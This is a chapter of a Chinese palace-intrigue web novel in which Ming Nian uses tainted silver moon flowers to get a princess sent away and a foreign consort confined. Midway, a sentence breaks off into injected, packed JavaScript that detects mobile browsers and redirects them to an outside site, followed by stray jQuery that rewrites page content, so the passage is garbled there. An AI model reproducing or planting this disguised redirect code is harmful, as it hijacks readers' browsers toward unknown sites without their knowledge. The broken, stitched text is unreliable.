28. 第二十八章

作品:《恃君意

    银月花产自塞外,常见于漠北边疆,适应黄沙。花朵葳蕤色彩分为浅白淡黄,不算太艳丽的颜色。显出和大漠一样的孤寂和挺拔。


    银月花的味道是清苦的,香味很淡。晾干后可以入药,也可以用来做染料。战场上若是受了伤,有时也用银月花的汁液来止血。


    苏明念自然不是第一次注意到银月花,只是此前在盛京中数次尝试,银月花都不适应在盛京生长。


    今日却见着来往迎送的鲜艳花束。花色与之前有所不同。味道也更好闻些,可能是木果尔部此次进贡的新品种。


    苏明念派人去了一趟礼部,二姐现下已然不在京中。不过之前从乌蒙带回来的植作里,礼部的人找到了银月花的种子。


    ……


    今日天色正好。


    明念用过早膳,换了身衣服去园子里松土。这一篇花圃都是围了种银月花的,这段时日明念照料得仔细,很快便见了花苞。


    正打理时,常秋过来给明念报了消息。


    “太医院今日兴师动众,都往殿下寝宫去了。”


    这消息是不久前刚传出来的,和明念猜得没错。她昨日去皇后宫中勾线时,路过公主内苑看见了不少银月花。


    还有停在外面的皇子侧妃的轿撵。


    自然是科尔兰。


    虽然科尔兰和谢元唤相看两生厌,但对方的皇子之位并没有让科尔兰排斥这桩联姻。谢识呈是他们原本的目标,可若是能搭上皇室。他们自然会毫不犹豫地往上爬。


    科尔兰身为皇子侧妃,可在宫中走动,她近日忙着寻找可靠的助力。


    夏月公主便是不二人选。


    论嫡庶之分,宫中独夏月一人是中宫所出。且又是个公主,明面上便免去了诸多忌惮与隐晦。


    科尔兰自是跑得殷勤,传说中夏月公主性情冷清,不喜与人亲近。科尔兰去过几回,夏月公主虽然瞧着冷淡,却没有开口赶人。她身旁的嬷嬷态度也十分客气,科尔兰打心底其实也没觉得夏月比她好到哪里去。


    她也是木果尔部的公主,还很受可汗的疼爱,不也是带着和亲的使命留在了盛京。当公主不就是那么回事吗?


    科尔兰在心里想着,在她眼里,大燕的公主是自视清高,不过并不妨碍她面上笑得亲热。


    又一次走前,公主身边的宫女追出来,叫住了科尔兰。


    要银月花。


    银月花是漠北特产,按理并不适宜植在盛京生长。不过她带的这一批都是改良过的,木果尔部的巫医用人.血浇灌出来。


    作用么,自然也……非同一般。


    科尔兰将这些银月花宝贝一样地供着,就是等着日后能有用武之地。


    没想到这么快,这一天就来了。


    她几乎要克制不住脸上的笑容,但面上还算镇定。


    “定然叫公主满意。”


    ……


    明念闻言并没有什么别的动作,浇完水才将水壶放下来。对着常秋弯了下唇,露出两颗漂亮的虎牙:“走吧,去洗手。”


    夏月这次的病情来得又急又凶,太医院那边几番诊断,最后诊出了中毒。


    中宫大怒,皇后下令彻查。公主内苑的人被逐一排查,最后一盆盛开着的明黄银月花被送去了翊坤宫。


    太医用银针查验,花粉带毒。


    “禀皇后娘娘,银月花本是无毒之物,且常年生长在塞外黄沙之地。色泽只是淡黄或浅白,从未有过如此明亮浓稠的颜色。”


    “盛京与漠北相距甚远。御花园曾试过培植银月花种,但都一无所获,实乃蹊跷。”


    “且微臣方才查验,这花粉中……”太医说到此处,略微停顿,稍显犹疑,显然是有顾虑。


    皇后将人摒退,只留心腹在侧:“有什么私隐,尽管道来,有本宫在,怕什么。”


    “是。”太医随即便一五一十地道来:“此花粉中,被人加入了蛊香。”


    “是一种巫术。”


    皇后神色一凝。


    若是平常用错了吃食,或是花粉过敏。都可以推到无心之失,便都好办。


    皇后之前虽然大怒,却也是关切夏月的身体。如今冷静下来,特别是知晓那银月花是出自科尔兰之手,关乎木果尔部与大燕的盟约。


    皇后处理起来自然要更加斟酌慎重,可如今搭上巫蛊之术,那便不是这么简单了。事关大燕皇室的安危,巫蛊之术本就为宫中禁术。一经查出,便是株连九族的大罪。


    皇后视线落在那一株银月花上,现在,哪怕是木尔汗亲自来,都不好办了。


    皇后轻轻抬了下眸,唇边竟染了一抹笑意。这盆银月花,可是帮了大燕一个大忙。


    木果尔部的军费,怕是,再谈不起来了。


    -


    半月后,一驾辇车备置妥当。


    夏月面色苍白,身形消瘦,看起来好像一阵风就能刮走。皇后掩着面面露担忧,一旁的嬷嬷宽慰她:“公主此去是为药到病除,娘娘万不要再忧心伤了身子。”


    皇后也明白这个道理,前几日夏月是吐得昏天黑地。几日下来也没用上多少汤食,本就单薄的身子自然难免消瘦。


    偏偏太医院常太医主脉却也是欲言又止,看得皇后提心吊胆。最后还是把常太医叫来问话。


    “公主这般年纪,实不该这般孱弱。便是内里亏空太甚,若一味用药,恐适得其反。”


    “那当如何?”皇后揪住了帕子。


    ……


    闻竹山有一位归隐于天下的名医,与无涯仙人算是故交。此次由雨霖君转圜,已亲笔呈上手信。


    夏月公主便带着这份信赴闻竹山求医。


    夏月上了轿辇,随行的只有一方禁军。连丫鬟都没带两个,随行的长辈是外祖母府上的林嬷嬷。秋华早在此次事宜中定了罪,秋华寝殿中查出木果尔部的玉镯,明晃晃收了科尔兰的好处,铁证如山。


    已按宫规处置。


    走之前,夏月最后看了一眼宫墙,随即再未回头,放下帘子。


    -


    “走了?”


    “午时送出城门的,派了禁军跟着。”


    “嗯。”明念点下头,放下手里的水壶就着帕子擦了擦手。绿盈在旁边帮着除草,拿着一只虫将红绮吓得脸都变了。


    常秋一向是负责对外事宜的,忽略周遭姐妹们跑来跑去的身影。常秋看着自家姑娘视线专注地落在开出浅色花蕊的银月花上。


    明念种的这一片与科尔兰染了巫术的自是不能相提并论,她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15596397|168242||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是从礼部规规矩矩换的种子。这是乌蒙主部自己改良过的花种。


    礼部之前早有意向试种,如今苏三小姐不请自来,自然求之不得。


    常秋却有些琢磨不透主子的心思。


    一盆银月花,便将长居深宫的夏月公主送走,更是不留痕迹地借花献佛,制人于无形,让科尔兰被禁足。助推两方和谈的把柄落在大燕手中。


    木果尔此次是陪了夫人又折兵。


    常秋是知道姑娘的手段的,毕竟苏三小姐自幼便在游氏老爷子身边长大,能是省油的灯就奇怪了。


    她只是有些不解,姑娘好端端地种这么多银月花干什么。


    似是常秋站着出神的时间有些久,明念将几片落叶拾去,明明是背对着她的,却好像后面长了眼睛似的。


    “常秋,拿剪刀过来。”


    常秋的思绪便就这么止住了。而明念自然没有解释的打算,并不是每件事都需要寻求个答案。物件可以设局,自然也可以有别的用处。


    明念养这一片银月花,不过是之前风寒初愈回相府时,府中除了父母亲再无哥哥姐姐的影子。游苏氏满门都守着大燕的河山,木果尔部从踏入盛京的那天,就应明白不该觊觎本就不可能属于他们的东西。


    明念想着稍稍垂了下眼,哥哥姐姐早已离京,本以为早该习惯的,这些年她送了她们许多次。


    可是自从外祖离世以后,明念对于离别的忍耐阙值,仿佛不知觉间低了许多。


    睹物思人,或许吧。这样好看的银月花,乌蒙和塞外都是能时常见到的。


    明念不是个任由情绪做主的人,很快便调理好心绪。


    谢识呈今日依旧在忙,前几日夜里也回来得晚。明念当时已经睡熟,但两人没有分房。谢识呈不得已扰她清梦。


    好在谢识呈动作向来轻,上榻寝歇便不再动,明念迷蒙间微微有了点意识。隐约间听见他翻了个身给她掖好被角,说要外出,至于去哪儿。闻竹山三个字轻轻传进了耳朵,很快便消散在更深重的梦里。


    闻竹山,怎么可能呢。


    -


    翌日醒来自是不见谢识呈的踪影,说起来夫妻俩自成婚以来,虽同在一个屋檐下。但是见面的次数却并不算多。


    明念自己暗自琢磨着,谢识呈那晚好像的确是说过要去哪里的。至于去办什么事,自然是朝廷不能透露的机要。


    明念自是不会打探,想着等谢识呈回来,夫妻二人一道用膳,将此事过问两句便可。


    明念近日也不怎么得闲,春意坊到了夏季,薄纱的款式新增。免不了又是一通忙活,且之前祖母年祭去榆兰定的花灯也到了。


    明念便想着刻个鬼工球,是祖母生前最爱把玩之物。手艺还是外祖交给她的。


    只是自外祖也走后,明念就很少再刻鬼工球了。近日来将图纸定了样选好料子。明念画了九层的构关图。


    她以前没刻过这么多层,越到里层,雕琢的技艺便精益求精。明念聚精会神,不料还是刻毁了兔子眼睛。


    明念稍顿下笔,雁听楼也传来信。


    明念接过信鸽,从阁窗望去。谢识呈不知是何时回来的,正站在她种的那片银月花前。


    表情看着微微有些失神。